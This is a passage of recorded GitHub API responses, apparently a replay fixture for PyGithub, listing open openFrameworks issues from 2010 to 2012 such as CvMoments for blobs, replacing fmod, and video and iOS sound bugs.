updates?","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2010-04-15T16:20:25Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":172424,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2010-04-14T15:48:19Z","body":"can we add moments to the blob. \n\nadd CvMoments moments to blob class\n\nand in ofxCvContourFinder.cpp line 119\n\n\t blobs[i].moments.m00 = myMoments->m00;\n\t\tblobs[i].moments.m10 = myMoments->m10;\n\t\tblobs[i].moments.m01 = myMoments->m01;\n\t\tblobs[i].moments.m20 = myMoments->m20;\n\t\tblobs[i].moments.m11 = myMoments->m11;\n\t\tblobs[i].moments.m02 = myMoments->m02;\n\t\tblobs[i].moments.m30 = myMoments->m30;\n\t\tblobs[i].moments.m21 = myMoments->m21;\n\t\tblobs[i].moments.m12 = myMoments->m12;\n\t\tblobs[i].moments.m03 = myMoments->m03;\n\t\t\n\t\tblobs[i].moments.mu20 = myMoments->mu20;\n\t\tblobs[i].moments.mu11 = myMoments->mu11;\n\t\tblobs[i].moments.mu02 = myMoments->mu02;\n\t\tblobs[i].moments.mu30 = myMoments->mu30;\n\t\tblobs[i].moments.mu21 = myMoments->mu21;\n\t\tblobs[i].moments.mu12 = myMoments->mu12;\n\t\tblobs[i].moments.mu03 = myMoments->mu03;\n\n\nthis is good for finding the angle and other info about the contour.\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/181","comments":2,"milestone":null,"number":181,"html_url":"https://github.com/openframeworks/openFrameworks/issues/181","assignee":null,"title":"ofxCvBlobs","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2010-04-14T15:42:22Z","state":"open","user":{"url":"https://api.github.com/users/vanderlin","avatar_url":"https://secure.gravatar.com/avatar/96c91dba0113ea847ee43b0961d24b3a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"96c91dba0113ea847ee43b0961d24b3a","login":"vanderlin","id":149997},"id":171615,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-05-29T15:04:04Z","body":"Buffer is 512 but should be 276 ( or something )\r\nSetting it to 256 says the buffer size should be 176 ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/178","comments":2,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":178,"html_url":"https://github.com/openframeworks/openFrameworks/issues/178","assignee":null,"title":"iPhone sound bug with 1st gen ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2010-04-11T10:18:58Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":169176,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-12-02T19:18:14Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/175","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":175,"html_url":"https://github.com/openframeworks/openFrameworks/issues/175","assignee":null,"title":"bring examples up to date - make sexy","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"}],"closed_at":null,"created_at":"2010-04-06T19:44:04Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":166214,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-12-02T19:14:03Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/174","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":174,"html_url":"https://github.com/openframeworks/openFrameworks/issues/174","assignee":null,"title":"vertical sync on for mac by default","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2010-04-06T19:43:21Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":166212,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-12-05T21:58:10Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/173","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":173,"html_url":"https://github.com/openframeworks/openFrameworks/issues/173","assignee":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"title":"ofAlphaBlending default on","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2010-04-06T19:42:34Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":166211,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-12-05T21:57:50Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/172","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":172,"html_url":"https://github.com/openframeworks/openFrameworks/issues/172","assignee":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"title":"rgb + alpha -> blit to texture","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2010-04-06T19:40:28Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":166209,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-12-05T21:57:36Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/171","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":171,"html_url":"https://github.com/openframeworks/openFrameworks/issues/171","assignee":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"title":"sexy shader example","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"}],"closed_at":null,"created_at":"2010-04-06T19:38:51Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":166208,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-03-03T19:40:33Z","body":"can we do it?\r\nwe need cross platform:\r\nplayback \r\nstreaming\r\npitch\r\npan \r\nmultiplay \r\n\r\nfor us to be compatible with what exists. \r\nOpenAL seems like the best choice.\r\nWhat other options are there?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/167","comments":5,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8","number":8,"title":"0080 Release","due_on":"2013-01-01T08:00:00Z","closed_issues":0,"open_issues":3,"created_at":"2012-02-25T01:34:28Z","state":"open","description":"","id":88731},"number":167,"html_url":"https://github.com/openframeworks/openFrameworks/issues/167","assignee":{"url":"https://api.github.com/users/damiannz","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","id":144366},"title":"replace fmod","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-sound","name":"section-sound","color":"DDDDDD"}],"closed_at":null,"created_at":"2010-04-06T12:13:31Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":165898,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-12-05T21:56:41Z","body":"i have this working for 3d with selection buffer although it's meant to be slow i haven't had any problems","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/160","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":160,"html_url":"https://github.com/openframeworks/openFrameworks/issues/160","assignee":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"title":"ofIsUnderMouse?","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2010-04-05T21:39:19Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"id":165537,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-12-05T21:54:57Z","body":"Theo: I have this code uses the selection buffer. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/153","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":153,"html_url":"https://github.com/openframeworks/openFrameworks/issues/153","assignee":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"title":"ofIsOnScreen - ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2010-04-05T18:49:10Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":165409,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}}] https GET api.github.com None /repos/openframeworks/openFrameworks/issues?page=14 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4930'), ('content-length', '13008'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"a63cf45ee23c003caf863065072ec4bb"'), ('date', 'Tue, 29 May 2012 19:27:23 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2012-02-29T11:13:10Z","body":"check out - http://www.openframeworks.cc/forum/viewtopic.php?p=19169#p19169\r\npossible integration into core. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/140","comments":4,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":140,"html_url":"https://github.com/openframeworks/openFrameworks/issues/140","assignee":null,"title":"texture compression and mipmaps for of texture","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2010-04-02T19:43:00Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofTheo","id":144000},"id":163959,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-12T16:15:52Z","body":"http://www.openframeworks.cc/forum/viewtopic.php?f=10&t=3319","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/128","comments":4,"milestone":null,"number":128,"html_url":"https://github.com/openframeworks/openFrameworks/issues/128","assignee":null,"title":"ofxTCPServer doesn't manage connected clients correcly","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2010-02-14T09:40:13Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"arturoc","id":48240},"id":132671,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-27T12:31:57Z","body":"Something that easily converts vector direction to openGL degrees?\r\nI find myself constantly trying to guess 270 - atan2(y, x)*RAD_TO_DEG ..... etc\r\nTo rotate something along a vector. \r\n\r\nMight be good to have it be aware of the GL world orientation - or have it so you pass in the up \r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/126","comments":2,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":126,"html_url":"https://github.com/openframeworks/openFrameworks/issues/126","assignee":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofZach","id":142897},"title":"ofATan2GL / ofVecToGL ?","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2010-02-13T14:22:51Z","state":"open","user":{"url":"https://api.github.com/users/openframeworks","gravatar_id":"a858611b044a8302ab14cfe752e17369","avatar_url":"https://secure.gravatar.com/avatar/a858611b044a8302ab14cfe752e17369?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"openframeworks","id":142866},"id":132377,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-22T15:51:57Z","body":"http://www.openframeworks.cc/forum/viewtopic.php?f=7&t=3299&p=17852#p17852","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/124","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/6","number":6,"title":"0073 Release","closed_issues":0,"due_on":"2012-07-30T07:00:00Z","open_issues":5,"created_at":"2011-12-03T15:37:49Z","state":"open","description":"","id":62090},"number":124,"html_url":"https://github.com/openframeworks/openFrameworks/issues/124","assignee":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofZach","id":142897},"title":"TTF type rendering in OF - fix fuzziness ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-typography","name":"section-typography","color":"DDDDDD"}],"closed_at":null,"created_at":"2010-02-13T14:15:25Z","state":"open","user":{"url":"https://api.github.com/users/openframeworks","gravatar_id":"a858611b044a8302ab14cfe752e17369","avatar_url":"https://secure.gravatar.com/avatar/a858611b044a8302ab14cfe752e17369?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"openframeworks","id":142866},"id":132373,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-27T12:30:14Z","body":"http://www.openframeworks.cc/forum/viewtopic.php?f=8&t=1374","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/121","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":121,"html_url":"https://github.com/openframeworks/openFrameworks/issues/121","assignee":null,"title":"video: loop is not working unless you call play first","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-video","name":"section-video","color":"DDDDDD"}],"closed_at":null,"created_at":"2010-02-10T23:16:23Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"arturoc","id":48240},"id":130269,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-27T12:30:49Z","body":"it would make sense to have an opengl stress test app, that can test some basic about wether or not someone has ARB support, how fast their systems are, etc. I can imagine that for 0.07, we'll be helping people debug shaders and FBOs, having some way to gauge what kind of system they are on and what it can take, will be helpful. \r\n\r\nHere's a simple test app from the Lua-AV folks that looks like a reasonable system: \r\n\r\nhttp://img191.imageshack.us/img191/1659/picture3po.png","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/115","comments":0,"milestone":null,"number":115,"html_url":"https://github.com/openframeworks/openFrameworks/issues/115","assignee":null,"title":"opengl stress test example","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2010-01-12T02:56:21Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofZach","id":142897},"id":111018,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-28T14:02:04Z","body":"at the moment, we've got it like:\r\n\r\nofAppGlutWindow::ofAppGlutWindow(){\r\n\tfps\t\t\t\t= 60.0; //give a realistic starting value - win32 issues\r\n\tbFrameRateSet\t\t= 